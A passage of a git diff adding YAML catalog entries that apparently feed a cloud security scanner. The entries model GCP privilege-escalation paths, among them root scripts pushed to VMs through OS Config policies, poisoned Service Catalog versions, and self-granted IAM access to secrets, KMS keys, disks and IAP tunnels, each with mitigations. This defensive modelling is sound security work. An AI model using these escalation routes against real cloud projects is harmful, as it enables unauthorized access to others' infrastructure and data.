references: + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/working-with-os-policies + - https://cloud.google.com/compute/docs/osconfig/rest/v1/projects.locations.osPolicyAssignments/patch + notes: OS policy assignments are zonal and exec resources accept inline scripts. Legacy guest policies are modelled by gcp-osconfig-guestpolicies-recipe and policy orchestrators by gcp-osconfig-policyorchestrators. + +- id: gcp-osconfig-guestpolicies-recipe + provider: gcp + service: osconfig + title: Run a root software-recipe script on project VMs through a legacy OS Config guest policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#legacy-guest-policy-write---run-an-inline-software-recipe-script + source_revision: 171e422 + summary: Creating a legacy guest policy with an inline recipe can run code on a matching active VM and expose its attached service account. An existing policy may also be updated, but recipe execution needs additional version and installation evidence. + requires: + any_of: + - - action: osconfig.guestPolicies.create + resource: "{target.project}" + - - action: osconfig.guestPolicies.update + resource: "{target.osconfig_guest_policy}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_guest_policy_path: true + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: legacy_feature + description: The matching VM must be running with enable-osconfig true, guestpolicies not disabled, full VM Manager features, a recent OS Config inventory report, an attached SA, and service connectivity. + - id: run_once + description: A recipe runs on policy creation. An update-only route needs an existing named policy and proof that a higher-version UPDATED recipe can run on the target VM. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.guestPolicyAdmin/Editor and migrate off legacy guest policies. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/guest-policies/create-guest-policy + notes: No actAs, SSH or metadata permission is needed. Native evidence can support the create route. An update-only route stays unresolved without proof that the existing recipe was installed and can run a higher-version UPDATED step. + +- id: gcp-osconfig-policyorchestrators + provider: gcp + service: osconfig + title: Propagate a root OS policy to VMs across projects with an OS Config policy orchestrator + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigpolicyorchestratorscreate-or-update---propagate-a-privileged-policy-across-projects-and-zones + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service accounts attached to OS Config-managed VMs in every project under the project, folder or organization where it can create or update policy + orchestrators. + requires: + any_of: + - - action: osconfig.policyOrchestrators.create + resource: '{target.osconfig_orchestrator_parent}' + - - action: osconfig.policyOrchestrators.update + resource: '{target.osconfig_orchestrator}' + - - action: osconfig.policyOrchestrators.update + resource: '{target.osconfig_unknown_orchestrator}' + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_policy_orchestrator_path: true + scope: any + aggregate_as: SAs of OS Config-managed VMs under the orchestrator parent + conditions: + - id: service_agents + description: The OS Config, OS Config rollout and Progressive Rollout service agents of the parent must exist with their service-agent roles; folder/organization calls need a billing-enabled quota project + and serviceusage.services.use. + - id: update_variant + description: With osconfig.policyOrchestrators.update the reach is limited to the selectors and filters of the existing orchestrators (which the source can rewrite). + - id: agent_enabled + description: Each target VM still needs the GA OS-policy prerequisites (active agent, attached SA, connectivity) and must match the selectors and filters. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/osconfig.policyOrchestratorAdmin and roles/osconfig.admin at folder and organization level. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/use-policy-orchestrator + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/orchestrator-prerequisites + notes: Creation is checked on the actual project, folder, or organization orchestrator parent, and update on an exact existing orchestrator. Reconciliation reapplies the assignment every six hours. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/pam.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/pam.yaml new file mode 100644 index 0000000000..915f102ce6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/pam.yaml @@ -0,0 +1,8 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Privileged Access Manager privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-pam-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Proposed selector gcp_pam_entitlement_requester (not yet in schema.py): the source is a requester principal (directly or +# through group membership) of a PAM entitlement on {target.scope} whose role bindings give IAM control of that scope. +# Requesters need no IAM/PAM permission; PAM rejects self-approval, so approval workflows are a condition. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/parametermanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/parametermanager.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/parametermanager.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/privatecatalog.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/privatecatalog.yaml new file mode 100644 index 0000000000..d291873801 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/privatecatalog.yaml @@ -0,0 +1,38 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Service Catalog (formerly Private Catalog) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-private-catalog-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +- id: gcp-privatecatalog-product-version-poison + provider: gcp + service: cloudprivatecatalogproducer + title: Replace a shared Service Catalog solution version + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#cloudprivatecatalogproducerproductsupdate--poison-an-existing-deployable-solution-version + source_revision: 171e422 + summary: The source can update an exact shared Deployment Manager solution version. A consumer deployment could use a Google APIs Service Agent with project IAM authority the source lacks; other sensitive agent permissions remain unresolved until their template path is verified. + requires: + all_of: + - action: cloudprivatecatalogproducer.products.update + resource: '{target.host_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_privatecatalog_dm_iam_path: true + scope: any + outcome: bounded_authority + aggregate_as: Project IAM control possible through shared Service Catalog solutions + conditions: + - id: consumer_deploys + description: A consumer must explicitly preview, deploy or update the poisoned version in their project; nothing runs at update time. + - id: attached_catalog + description: The product must already be attached to a catalog associated with the consumer hierarchy, and the modified asset must pass validation. + - id: deployment_manager_only + description: This path covers validated Deployment Manager versions; Terraform versions use a different execution identity. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudprivatecatalogproducer editor/admin roles and review solution versions before consumers deploy them. + references: + - https://docs.cloud.google.com/service-catalog/docs/create-solutions + notes: This path is limited to the consumer project IAM permission verified on its Google APIs Service Agent; it does not imply possession of that agent's credentials or automatic deployment. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml new file mode 100644 index 0000000000..5d35e0e6c8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml @@ -0,0 +1,1836 @@ +# GCP resource IAM self-grants. Each entry requires a concrete policy-write action and typed reviewed evidence of a new effective permission to the same source principal on an exact resource governed by the policy. A policy write alone, or a mere data read, never creates a path. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-connectors-connections-setiampolicy-connection-self-grant + provider: gcp + service: connectors + title: Self-grant connectors.connections.executeSqlQuery on a connection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#connectorsconnectionssetiampolicy--resource-level-self-grant-to-use-a-connection + source_revision: a1de13ac34 + summary: A principal with connectors.connections.setIamPolicy on an exact active connection can grant itself + the Connector Invoker role and gain a connection-use permission it did not already have. + requires: + all_of: + - action: connectors.connections.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - connectors.connections.executeSqlQuery + aggregate_as: Verified connection self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires either complete source-bound evidence of an accepted self-grant or a unique active connection + with collected IAM policy, role, prior-access, and policy-write facts. The inferred path remains conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict connectors.connections.setIamPolicy on protected connection resources and review self-directed IAM + policy changes. + notes: The policy write alone does not create a path. The gcp_resource_self_grant_evidence record must prove this exact + permission gain for the acting principal on GrantedResource. +- id: gcp-compute-machineimages-setiampolicy-machine-image-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant compute.machineImages.useReadOnly on a machine image + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computemachineimagessetiampolicy + source_revision: a1de13ac34 + summary: The source may grant itself compute.machineImages.useReadOnly on an exact ready machine image when it can safely update that image's IAM policy and did not already have the permission. + requires: + all_of: + - action: compute.machineImages.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.machineImages.useReadOnly + aggregate_as: Machine image read-only use the source could grant itself + conditions: + - id: exact_machine_image_policy + description: The exact ready machine image and its IAM policy are collected, the source can get and set that policy, and roles/compute.admin can add a new useReadOnly permission. A reviewed accepted mutation remains another proof route. + - id: reconstruction + description: Reconstructing data from the machine image needs separate VM or disk creation, any required CMEK access, and a usable service-account choice. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.machineImages.setIamPolicy on protected machine image resources and review self-directed IAM + policy changes. + notes: Google documents roles/compute.admin as grantable on an individual machine image. The modeled edge is the new machineImages.useReadOnly permission, not direct access to its disk bytes. Missing policy, prior access, role, or effective constraints leave the prospective path unresolved; reviewed accepted self-grant evidence remains supported. +- id: gcp-compute-snapshots-setiampolicy-snapshot-self-grant + provider: gcp + service: compute + title: Grant yourself read-only use of a snapshot + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computesnapshotssetiampolicy + source_revision: a1de13ac34 + summary: A policy writer on a ready global or regional snapshot may grant itself useReadOnly on that exact snapshot. + requires: + all_of: + - action: compute.snapshots.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.snapshots.useReadOnly + aggregate_as: Snapshot self-grant to the source + conditions: + - id: exact_snapshot_policy + description: Requires a unique ready global or regional snapshot, its readable IAM policy, derived policy-write permission, an applicable grantable role, no prior useReadOnly access, and complete deny and organization-policy evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.snapshots.setIamPolicy on protected snapshot resources and review self-directed IAM policy + changes. + notes: A prospective path is conditional because the policy change is not attempted. roles/compute.storageAdmin includes useReadOnly and is grantable on a snapshot. A reviewed accepted mutation can also prove the exact gain. This permission does not by itself expose disk bytes; later use needs separate creation permissions and any CMEK access. +- id: gcp-compute-disks-setiampolicy-disk-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant compute.disks.useReadOnly on a disk + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computediskssetiampolicy + source_revision: a1de13ac34 + summary: The source can add its own IAM binding to an exact disk it can administer and gain compute.disks.useReadOnly when it lacks that permission. + requires: + all_of: + - action: compute.disks.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.disks.useReadOnly + aggregate_as: Disk read-only use the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: The exact zonal or regional disk is inventoried with a readable IAM policy; the source can set that policy but lacks compute.disks.useReadOnly on the disk. An independently reviewed accepted mutation remains a second supported proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.disks.setIamPolicy on protected disk resources and review self-directed IAM policy changes. + notes: The source can add roles/compute.storageAdmin to its own disk policy to gain compute.disks.useReadOnly. This grants a new permission on that disk, but copying, imaging or attaching its bytes requires separate permissions and may face disk or CMEK constraints. +- id: gcp-gkehub-memberships-setiampolicy-membership-self-grant + provider: gcp + service: gkehub + title: Self-grant gkehub.gateway.generateCredentials on a membership + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubmembershipssetiampolicy--self-grant-connect-gateway-access + source_revision: a1de13ac34 + summary: The source can use gkehub.memberships.setIamPolicy on an exact membership to add its own IAM binding and gain gkehub.gateway.generateCredentials where that permission is absent. + requires: + all_of: + - action: gkehub.memberships.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - gkehub.gateway.generateCredentials + aggregate_as: Verified membership self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: A prospective path needs the exact registered membership, its readable IAM policy, a known Gateway Reader role, and verified absence of prior access. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict gkehub.memberships.setIamPolicy on protected membership resources and review self-directed IAM policy changes. + notes: A collected, ready membership with a readable resource IAM policy supports a prospective self-grant when the source lacks gateway credentials and can write that policy. A reviewed accepted mutation remains a second proof route. Gateway transport still needs operation-specific permissions and in-cluster RBAC for a Kubernetes action. +- id: gcp-iap-tunnelinstances-setiampolicy-instance-self-grant + provider: gcp + service: iap + title: Self-grant IAP tunnel access on an instance + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancessetiampolicy--iaptunnelzonessetiampolicy + source_revision: a1de13ac34 + summary: The source can add its own IAP tunnel access on an existing VM when it can write that VM's IAP policy and does not already have the permission. + requires: + all_of: + - action: iap.tunnelInstances.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iap.tunnelInstances.accessViaIAP + aggregate_as: Verified instance self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires an exact existing VM, complete IAP instance, zone and project policies, a known Tunnel User role, effective policy-write authority and verified absence of prior tunnel access. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict iap.tunnelInstances.setIamPolicy on protected instance resources and review self-directed IAM policy + changes. + notes: The prospective edge represents a new IAP tunnel permission on the exact VM. Firewall, guest authentication and runtime IAM Conditions can still limit use. A reviewed accepted mutation remains a second proof route. + references: + - https://docs.cloud.google.com/iap/docs/managing-access + - https://docs.cloud.google.com/iam/docs/roles-permissions/iap +- id: gcp-iap-tunnelzones-setiampolicy-zone-self-grant + provider: gcp + service: iap + title: Self-grant IAP tunnel access across a zone + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancessetiampolicy--iaptunnelzonessetiampolicy + source_revision: a1de13ac34 + summary: The source can add its own IAP tunnel access to at least one existing VM in a zone when it can write that zone's IAP policy and lacks access to that VM. + requires: + all_of: + - action: iap.tunnelZones.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iap.tunnelInstances.accessViaIAP + aggregate_as: Verified zone self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires an exact existing VM in the zone, complete IAP instance, zone and project policies, a known Tunnel User role, effective zone policy-write authority and verified absence of prior tunnel access to that VM. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict iap.tunnelZones.setIamPolicy on protected zone resources and review self-directed IAM policy changes. + notes: The prospective edge represents a new IAP tunnel permission on at least one named VM in the zone. Firewall, guest authentication and runtime IAM Conditions can still limit use. A reviewed accepted mutation remains a second proof route. + references: + - https://docs.cloud.google.com/iap/docs/managing-access + - https://docs.cloud.google.com/iam/docs/roles-permissions/iap +- id: gcp-cloudkms-cryptokeys-setiampolicy-crypto-key-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: cloudkms + title: Self-grant cloudkms.cryptoKeyVersions.useToDecrypt on a crypto key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyssetiampolicy + source_revision: a1de13ac34 + summary: The source can edit an inventoried crypto key's IAM policy to give itself decrypt permission when it does not already have that permission. + requires: + all_of: + - action: cloudkms.cryptoKeys.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - cloudkms.cryptoKeyVersions.useToDecrypt + aggregate_as: Crypto key decrypt access the source could grant itself + conditions: + - id: exact_crypto_key_policy + description: Requires an inventoried decrypt-capable key, an enabled version, policy-write authority on that key, and no current decrypt grant; incomplete key, IAM, group, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict cloudkms.cryptoKeys.setIamPolicy on protected crypto key resources and review self-directed IAM policy + changes. + notes: Crypto Key Decrypter can be granted on one key. A prospective path is conditional because the IAM mutation has not been attempted; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-secretmanager-secrets-setiampolicy-secret-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: secretmanager + title: Self-grant secretmanager.versions.access on a secret + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretssetiampolicy + source_revision: a1de13ac34 + summary: The source can use secretmanager.secrets.setIamPolicy on an inventoried secret to add its own Secret Accessor binding when it does not already have version access. + requires: + all_of: + - action: secretmanager.secrets.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - secretmanager.versions.access + aggregate_as: Secret access the source could grant itself + conditions: + - id: exact_secret_policy + description: Requires an inventoried secret, policy-write authority on that secret, and no current version-access grant; incomplete direct IAM, group membership, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict secretmanager.secrets.setIamPolicy on protected secret resources and review self-directed IAM policy + changes. + notes: A Secret Manager Secret Accessor role can be granted on one secret. A prospective path is conditional because the IAM mutation has not been attempted; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-compute-recoverablesnapshots-setiampolicy-recoverable-snapshot-self-grant + provider: gcp + service: compute + title: Grant yourself recovery access to a recoverable snapshot + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computerecoverablesnapshotssetiampolicy + source_revision: a1de13ac34 + summary: A policy writer on a ready recoverable snapshot may grant itself recover permission on that exact snapshot. + requires: + all_of: + - action: compute.recoverableSnapshots.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.recoverableSnapshots.recover + aggregate_as: Recoverable snapshot self-grant to the source + conditions: + - id: exact_recoverable_snapshot_policy + description: Requires a unique ready recoverable snapshot, its readable IAM policy, derived policy-write permission, an applicable grantable role, no prior recover access, and complete deny and organization-policy evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.recoverableSnapshots.setIamPolicy on protected recoverable snapshot resources and review self-directed + IAM policy changes. + notes: A prospective path is conditional because the policy change is not attempted. roles/compute.storageAdmin includes recover permission and can be granted on a recoverable snapshot. A reviewed accepted mutation can also prove the exact gain. Recovering the snapshot does not itself prove access to its disk data; later use has separate permissions and encryption requirements. +- id: gcp-containeranalysis-notes-setiampolicy-note-self-grant + provider: gcp + service: containeranalysis + title: Self-grant containeranalysis.notes.attachOccurrence on a note + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-analysis-privesc.md#containeranalysisnotessetiampolicy--self-grant-control-of-one-note + source_revision: a1de13ac34 + summary: Effective containeranalysis.notes.setIamPolicy on an exact note can add an unconditional Notes Attacher + binding for the caller and grant containeranalysis.notes.attachOccurrence when that permission was absent before. + requires: + all_of: + - action: containeranalysis.notes.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - containeranalysis.notes.attachOccurrence + aggregate_as: Note self-grant to the source + conditions: + - id: exact_note_self_grant + description: Requires an exact global or regional note, effective policy-write access, a grantable Notes Attacher role, + absent prior attach access, readable note and ancestor policies, and complete deny and organization-policy evidence; a reviewed accepted mutation can instead prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict containeranalysis.notes.setIamPolicy on protected note resources and review self-directed IAM policy + changes. + notes: A prospective path is conditional because the policy change is not attempted. The gain is limited to attaching + occurrences to the note; creating an occurrence and meeting Binary Authorization signature requirements are separate. + A reviewed accepted mutation can also prove the exact gain. +- id: gcp-datacatalog-categories-setiampolicy-policy-tag-self-grant + provider: gcp + service: datacatalog + title: Self-grant datacatalog.categories.fineGrainedGet on a policy tag + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#datacatalogcategoriessetiampolicy--self-grant-fine-grained-access-to-policy-tagged-bigquery-columns + source_revision: a1de13ac34 + summary: Effective datacatalog.categories.setIamPolicy on an exact policy tag can add a Fine-Grained Reader binding + for the caller and grant datacatalog.categories.fineGrainedGet when that permission was absent before. + requires: + all_of: + - action: datacatalog.categories.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - datacatalog.categories.fineGrainedGet + aggregate_as: Policy tag self-grant to the source + conditions: + - id: exact_policy_tag_self_grant + description: Requires an exact policy tag, effective policy-write access, a grantable Fine-Grained Reader role, + active fine-grained enforcement, absent prior reader access through the tag hierarchy, readable tag and ancestor + policies, and complete deny and organization-policy evidence; a reviewed accepted mutation can instead prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict datacatalog.categories.setIamPolicy on protected policy tag resources and review self-directed IAM + policy changes. + notes: A prospective path is conditional because the policy change is not attempted. The grant satisfies the policy-tag + permission only; reading a protected BigQuery column also requires ordinary table access, a query job and active + column-level enforcement. A reviewed accepted mutation can also prove the exact gain. +- id: gcp-metastore-services-setiampolicy-metastore-service-self-grant + provider: gcp + service: metastore + title: Self-grant metastore.services.use on a metastore service + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-metastore-privesc.md#metastoreservicessetiampolicy---grant-access-to-grpc-metadata + source_revision: a1de13ac34 + summary: Effective metastore.services.setIamPolicy on an active gRPC service can add a Metadata Viewer binding for + the caller and grant metastore.services.use when that permission was absent before. + requires: + all_of: + - action: metastore.services.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - metastore.services.use + aggregate_as: Metastore service self-grant to the source + conditions: + - id: exact_grpc_metastore_service_self_grant + description: Requires an exact active gRPC Metastore service, effective policy-write access, a grantable Metadata + Viewer role, absent prior service-use permission, readable service and ancestor policies, and complete deny and + organization-policy evidence; a reviewed accepted mutation can instead prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict metastore.services.setIamPolicy on protected metastore service resources and review self-directed IAM + policy changes. + notes: A prospective path is conditional because the policy change is not attempted. Service-use permission is only + one requirement for reading metadata; network and perimeter reachability remain separate. A reviewed accepted + mutation must also bind the exact active gRPC service. +- id: gcp-analyticshub-listings-setiampolicy-listing-self-grant + provider: gcp + service: analyticshub + title: Self-grant analyticshub.listings.subscribe on a listing + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssetiampolicy--analyticshubdataexchangessetiampolicy--self-grant-subscription-authority + source_revision: a1de13ac34 + summary: The source can use analyticshub.listings.setIamPolicy on an exact listing to add its own subscriber + binding and gain analyticshub.listings.subscribe if it does not already hold that permission. + requires: + all_of: + - action: analyticshub.listings.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - analyticshub.listings.subscribe + aggregate_as: Verified listing self-grant to the source + conditions: + - id: exact_listing_policy_or_reviewed_mutation + description: The exact listing and complete listing and parent exchange policies must show a policy-write right and no existing subscription right, or a unique reviewed mutation must prove the new permission on that listing. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict analyticshub.listings.setIamPolicy on protected listing resources and review self-directed IAM policy + changes. + notes: The prospective path needs a collected listing, complete listing and parent exchange IAM policies and prior access checks; unresolved group, deny or organization policy facts remain unknown. A reviewed accepted mutation can also prove the exact new permission. Neither path claims a subscription or data read occurred. +- id: gcp-analyticshub-dataexchanges-setiampolicy-data-exchange-self-grant + provider: gcp + service: analyticshub + title: Self-grant analyticshub.dataExchanges.subscribe on a data exchange + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssetiampolicy--analyticshubdataexchangessetiampolicy--self-grant-subscription-authority + source_revision: a1de13ac34 + summary: The source can use analyticshub.dataExchanges.setIamPolicy on an exact data exchange to add its own subscriber + binding and gain analyticshub.dataExchanges.subscribe if it does not already hold that permission. + requires: + all_of: + - action: analyticshub.dataExchanges.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - analyticshub.dataExchanges.subscribe + aggregate_as: Verified data exchange self-grant to the source + conditions: + - id: exact_exchange_policy_or_reviewed_mutation + description: The exact exchange and complete policy must show a policy-write right and no existing subscription right, or a unique reviewed mutation must prove the new permission on that exchange. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict analyticshub.dataExchanges.setIamPolicy on protected data exchange resources and review self-directed + IAM policy changes. + notes: The prospective path needs a collected exchange, complete exchange IAM policy and prior access checks; unresolved group, deny or organization policy facts remain unknown. A reviewed accepted mutation can also prove the exact new permission. Neither path claims a subscription or data read occurred. +- id: gcp-biglake-catalogs-setiampolicy-catalog-self-grant + provider: gcp + service: biglake + title: Self-grant biglake.catalogs.get on a catalog + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#biglakecatalogsnamespacestablessetiampolicy--self-grant-on-a-lakehouse-resource + source_revision: a1de13ac34 + summary: The source uses biglake.catalogs.setIamPolicy on an exact catalog to add its own IAM binding and gain biglake.catalogs.get, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: biglake.catalogs.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - biglake.catalogs.get + aggregate_as: Catalog read access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: Requires an inventoried catalog, its collected IAM policy, effective setIamPolicy authority on that exact catalog, + and no existing biglake.catalogs.get access. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict biglake.catalogs.setIamPolicy on protected catalog resources and review self-directed IAM policy changes. + notes: An exact catalog policy write with complete access evidence creates a conditional prospective path. Missing policy, + inventory, deny, group, or organization-policy evidence leaves the path unresolved. A verified mutation can prove the grant. +- id: gcp-biglake-namespaces-setiampolicy-namespace-self-grant + provider: gcp + service: biglake + title: Self-grant biglake.namespaces.get on a namespace + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#biglakecatalogsnamespacestablessetiampolicy--self-grant-on-a-lakehouse-resource + source_revision: a1de13ac34 + summary: The source uses biglake.namespaces.setIamPolicy on an exact namespace to add its own IAM binding and gain biglake.namespaces.get, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: biglake.namespaces.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - biglake.namespaces.get + aggregate_as: Namespace read access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: Requires an inventoried namespace, its collected IAM policy and parent catalog policy, effective setIamPolicy authority on that exact namespace, + and no existing biglake.namespaces.get access. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict biglake.namespaces.setIamPolicy on protected namespace resources and review self-directed IAM policy + changes. + notes: An exact namespace policy write with complete access evidence creates a conditional prospective path. Missing policy, + inventory, deny, group, or organization-policy evidence leaves the path unresolved. A verified mutation can prove the grant. +- id: gcp-biglake-tables-setiampolicy-table-self-grant + provider: gcp + service: biglake + title: Self-grant biglake.tables.get on a table + source: 